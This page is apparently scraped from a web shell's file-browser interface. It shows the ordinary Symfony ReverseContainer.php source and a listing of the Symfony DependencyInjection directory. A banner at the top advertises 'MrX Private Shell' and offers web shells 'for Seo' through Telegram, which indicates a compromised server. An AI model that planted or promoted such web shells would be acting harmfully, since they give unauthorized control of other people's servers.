__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Symfony\Component\DependencyInjection;
use Psr\Container\ContainerInterface;
use Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException;
/**
* Turns public and "container.reversible" services back to their ids.
*
* @author Nicolas Grekas <p@tchwork.com>
*/
final class ReverseContainer
{
private Container $serviceContainer;
private ContainerInterface $reversibleLocator;
private string $tagName;
private \Closure $getServiceId;
public function __construct(Container $serviceContainer, ContainerInterface $reversibleLocator, string $tagName = 'container.reversible')
{
$this->serviceContainer = $serviceContainer;
$this->reversibleLocator = $reversibleLocator;
$this->tagName = $tagName;
$this->getServiceId = \Closure::bind(fn (object $service): ?string => array_search($service, $this->services, true) ?: array_search($service, $this->privates, true) ?: null, $serviceContainer, Container::class);
}
/**
* Returns the id of the passed object when it exists as a service.
*
* To be reversible, services need to be either public or be tagged with "container.reversible".
*/
public function getId(object $service): ?string
{
if ($this->serviceContainer === $service) {
return 'service_container';
}
if (null === $id = ($this->getServiceId)($service)) {
return null;
}
if ($this->serviceContainer->has($id) || $this->reversibleLocator->has($id)) {
return $id;
}
return null;
}
/**
* @throws ServiceNotFoundException When the service is not reversible
*/
public function getService(string $id): object
{
if ($this->reversibleLocator->has($id)) {
return $this->reversibleLocator->get($id);
}
if (isset($this->serviceContainer->getRemovedIds()[$id])) {
throw new ServiceNotFoundException($id, null, null, [], sprintf('The "%s" service is private and cannot be accessed by reference. You should either make it public, or tag it as "%s".', $id, $this->tagName));
}
return $this->serviceContainer->get($id);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Argument | Folder | 0755 |
|
|
| Attribute | Folder | 0755 |
|
|
| Compiler | Folder | 0755 |
|
|
| Config | Folder | 0755 |
|
|
| Dumper | Folder | 0755 |
|
|
| Exception | Folder | 0755 |
|
|
| Extension | Folder | 0755 |
|
|
| LazyProxy | Folder | 0755 |
|
|
| Loader | Folder | 0755 |
|
|
| ParameterBag | Folder | 0755 |
|
|
| Alias.php | File | 2.9 KB | 0644 |
|
| ChildDefinition.php | File | 2.56 KB | 0644 |
|
| Container.php | File | 13.6 KB | 0644 |
|
| ContainerAwareInterface.php | File | 681 B | 0644 |
|
| ContainerAwareTrait.php | File | 1.06 KB | 0644 |
|
| ContainerBuilder.php | File | 59.07 KB | 0644 |
|
| ContainerInterface.php | File | 2.28 KB | 0644 |
|
| Definition.php | File | 20.17 KB | 0644 |
|
| EnvVarLoaderInterface.php | File | 654 B | 0644 |
|
| EnvVarProcessor.php | File | 13.01 KB | 0644 |
|
| EnvVarProcessorInterface.php | File | 1.24 KB | 0644 |
|
| ExpressionLanguage.php | File | 1.05 KB | 0644 |
|
| ExpressionLanguageProvider.php | File | 2.12 KB | 0644 |
|
| Parameter.php | File | 601 B | 0644 |
|
| Reference.php | File | 945 B | 0644 |
|
| ReverseContainer.php | File | 2.4 KB | 0644 |
|
| ServiceLocator.php | File | 5.3 KB | 0644 |
|
| TaggedContainerInterface.php | File | 688 B | 0644 |
|
| TypedReference.php | File | 1.54 KB | 0644 |
|
| Variable.php | File | 692 B | 0644 |
|
| autoload.php | File | 25.98 KB | 0644 |
|